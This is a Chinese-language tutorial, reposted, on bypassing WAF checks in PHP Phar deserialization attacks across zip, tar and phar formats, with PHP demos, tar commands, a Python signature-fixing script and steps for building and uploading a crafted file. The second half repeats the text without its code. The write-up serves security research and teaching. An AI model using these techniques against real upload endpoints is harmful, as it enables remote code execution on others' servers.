Phar反序列化如何解决各种waf检测和脏数据的添加问题?
字数 1666 2025-08-06 18:07:42

Phar反序列化绕过WAF检测及处理脏数据的技术研究

0x00 前言

本文详细探讨了Phar反序列化在各种文件格式(.phar、.zip、.tar)下如何绕过WAF检测以及处理被添加脏数据的问题。通过分析不同格式的特性,我们可以找到在添加脏数据后仍能正常触发反序列化的方法。

0x01 Phar支持的格式

Phar文件支持以下三种主要格式:

ZIP格式

  • .zip
  • .phar.zip

TAR格式

  • .tar
  • .phar.tar
  • .phar.tar.gz
  • .phar.tar.bz

PHAR原生格式

  • .phar
  • .phar.bz2 (使用bzip2 phar.phar命令生成)

0x02 实战利用方法

压缩包方法绕过检测

  • 直接将数据压缩为zip、tar、tar.gz、tar.bz格式可以绕过stub或反序列化字段的检测
  • 注意:zip格式不会压缩反序列化数据段

格式修复方法

  • 使用.phar格式修复可以解决文件头部(使用phar)或文件尾(使用tar)被添加脏数据的问题

重要说明:本文讨论的"可添加脏数据"指的是添加后仍能在电脑上正常打开压缩文件,但不同语言(Java、PHP、Python等)的解析能力可能不同,重点在于PHP中phar://协议能否正常解析。

0x03 ZIP格式处理脏数据

添加脏数据特性

  • 头尾均可添加脏数据,但phar无法解析这种修改后的文件
  • 使用工具示例:
    python paddingzip.py -i ../test.phar.zip -o ../test1.phar.zip --prepend "this prepend to the start" --append "this append to the end"
    
  • Linux下添加方法:
    $ echo -n "prepend" > f
    $ cat f a.zip > b.zip
    $ zip -F b.zip --out c.zip
    

限制条件

  • ZIP格式理论上可以通过修复偏移量重新获得合法文件,但phar解析器如果发现文件头不是zip格式,即使偏移量修复完成,也会触发错误

替代方案:利用ZIP注释

可以将phar内容写入压缩包注释来触发反序列化,且能绕过stub检测(但无法绕过反序列化数据检测):

<?php
class test {
    public function __wakeup() {
        var_dump(__FUNCTION__);
    }
}

$phar_file = serialize(new test());
$zip = new ZipArchive();
$res = $zip->open('justzip.zip', ZipArchive::CREATE);
$zip->addFromString('h0cksr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();
readfile("phar://justzip.zip");

无法解析带脏字符ZIP的场景

  • Java执行带脏字符的jar包会失败
  • PHP无法解析
  • 7zip无法解析

0x04 TAR格式处理脏数据

添加脏数据特性

  • 可以在文件尾添加脏数据且phar能正常解析
  • 如果能控制文件头,可构造合法的tar文件,即使文件尾有垃圾字符

测试示例:

<?php
class test {
    public function __wakeup() {
        var_dump(__FUNCTION__);
    }
}

var_dump(file_get_contents("compress.zlib://phar://test1.phar.tar/flag.txt")); // 未修改,读取数据失败,反序列化触发成功
var_dump(file_get_contents("compress.zlib://phar://test2.phar.tar/flag.txt")); // 文件头添加内容,读取数据失败,反序列化触发失败
var_dump(file_get_contents("compress.zlib://phar://test3.phar.tar/flag.txt")); // 文件尾添加内容,读取数据失败,反序列化触发成功

绕过签名的特殊方法

在Linux环境下可以打包只包含反序列化数据的.metadata文件:

mkdir test ; cd test
mkdir .phar; cd .phar
echo 'O:4:"test":0:{}' > .metadata
cd ../..
tar -cf phar.tar .phar/

生成的phar.tar可以直接通过phar://phar.tar触发反序列化。

0x05 PHAR原生格式处理脏数据

添加脏数据特性

  • 必须控制文件尾,但不需要控制文件头
  • PHP解析时会查找<?php __HALT_COMPILER(); ?>标签,标签前可为任意值,后面必须是phar格式并以文件的sha1签名和字符串GBMB结尾

修正签名的方法

可以在文件头加脏数据并正常反序列化,但需要重新计算签名:

Python修正签名脚本:

import hashlib

with open('phar.phar', 'rb') as f:
    content = f.read()
text = content[:-28]
end = content[-8:]
sig = hashlib.sha1(text).digest()

with open('phar_new.phar', 'wb+') as f:
    f.write(text + sig + end)

PHAR文件结构

  • 数据段
  • 签名(默认sha1,20字节)
  • 签名方式(4字节)
  • 声明文件有无签名(4字节)

支持的签名算法:MD5、SHA256、SHA512、OpenSSL

签名是对前面全部数据段内容根据加密算法得到的结果。

构造可利用PHAR文件的步骤

  1. 生成正常的.phar文件
  2. 往文件头部添加脏数据
  3. 使用上述代码修正签名
  4. 使用010editor将头部的脏数据删除
  5. 上传文件

0x06 总结

格式 解决WAF检测 解决脏数据问题 适用场景
ZIP 可解决stub检测 无法解决脏数据问题 需要绕过stub检测时
TAR 可解决各种检测 可解决文件尾脏数据 文件尾被添加脏数据时
PHAR 原生格式 可解决文件头脏数据 文件头被添加脏数据时

0x07 补充说明

其他语言对带脏字符ZIP文件的处理:

  • unzip命令解压时会忽略前置脏字符
  • Java解析Zip包会忽略前置脏字符
  • Python解析Zip包会忽略前置脏字符

0x08 参考

奇安信攻防社区原文

Phar反序列化绕过WAF检测及处理脏数据的技术研究 0x00 前言 本文详细探讨了Phar反序列化在各种文件格式(.phar、.zip、.tar)下如何绕过WAF检测以及处理被添加脏数据的问题。通过分析不同格式的特性,我们可以找到在添加脏数据后仍能正常触发反序列化的方法。 0x01 Phar支持的格式 Phar文件支持以下三种主要格式: ZIP格式 .zip .phar.zip TAR格式 .tar .phar.tar .phar.tar.gz .phar.tar.bz PHAR原生格式 .phar .phar.bz2 (使用 bzip2 phar.phar 命令生成) 0x02 实战利用方法 压缩包方法绕过检测 直接将数据压缩为zip、tar、tar.gz、tar.bz格式可以绕过stub或反序列化字段的检测 注意:zip格式不会压缩反序列化数据段 格式修复方法 使用 .phar 格式修复可以解决文件头部(使用phar)或文件尾(使用tar)被添加脏数据的问题 重要说明 :本文讨论的"可添加脏数据"指的是添加后仍能在电脑上正常打开压缩文件,但不同语言(Java、PHP、Python等)的解析能力可能不同,重点在于PHP中phar://协议能否正常解析。 0x03 ZIP格式处理脏数据 添加脏数据特性 头尾均可添加脏数据,但phar无法解析这种修改后的文件 使用工具示例: Linux下添加方法: 限制条件 ZIP格式理论上可以通过修复偏移量重新获得合法文件,但phar解析器如果发现文件头不是zip格式,即使偏移量修复完成,也会触发错误 替代方案:利用ZIP注释 可以将phar内容写入压缩包注释来触发反序列化,且能绕过stub检测(但无法绕过反序列化数据检测): 无法解析带脏字符ZIP的场景 Java执行带脏字符的jar包会失败 PHP无法解析 7zip无法解析 0x04 TAR格式处理脏数据 添加脏数据特性 可以在文件尾添加脏数据且phar能正常解析 如果能控制文件头,可构造合法的tar文件,即使文件尾有垃圾字符 测试示例: 绕过签名的特殊方法 在Linux环境下可以打包只包含反序列化数据的.metadata文件: 生成的phar.tar可以直接通过 phar://phar.tar 触发反序列化。 0x05 PHAR原生格式处理脏数据 添加脏数据特性 必须控制文件尾,但不需要控制文件头 PHP解析时会查找 <?php __HALT_COMPILER(); ?> 标签,标签前可为任意值,后面必须是phar格式并以文件的sha1签名和字符串GBMB结尾 修正签名的方法 可以在文件头加脏数据并正常反序列化,但需要重新计算签名: Python修正签名脚本: PHAR文件结构 数据段 签名(默认sha1,20字节) 签名方式(4字节) 声明文件有无签名(4字节) 支持的签名算法:MD5、SHA256、SHA512、OpenSSL 签名是对前面全部数据段内容根据加密算法得到的结果。 构造可利用PHAR文件的步骤 生成正常的.phar文件 往文件头部添加脏数据 使用上述代码修正签名 使用010editor将头部的脏数据删除 上传文件 0x06 总结 | 格式 | 解决WAF检测 | 解决脏数据问题 | 适用场景 | |------|------------|----------------|----------| | ZIP | 可解决stub检测 | 无法解决脏数据问题 | 需要绕过stub检测时 | | TAR | 可解决各种检测 | 可解决文件尾脏数据 | 文件尾被添加脏数据时 | | PHAR | 原生格式 | 可解决文件头脏数据 | 文件头被添加脏数据时 | 0x07 补充说明 其他语言对带脏字符ZIP文件的处理: unzip命令解压时会忽略前置脏字符 Java解析Zip包会忽略前置脏字符 Python解析Zip包会忽略前置脏字符 0x08 参考 奇安信攻防社区原文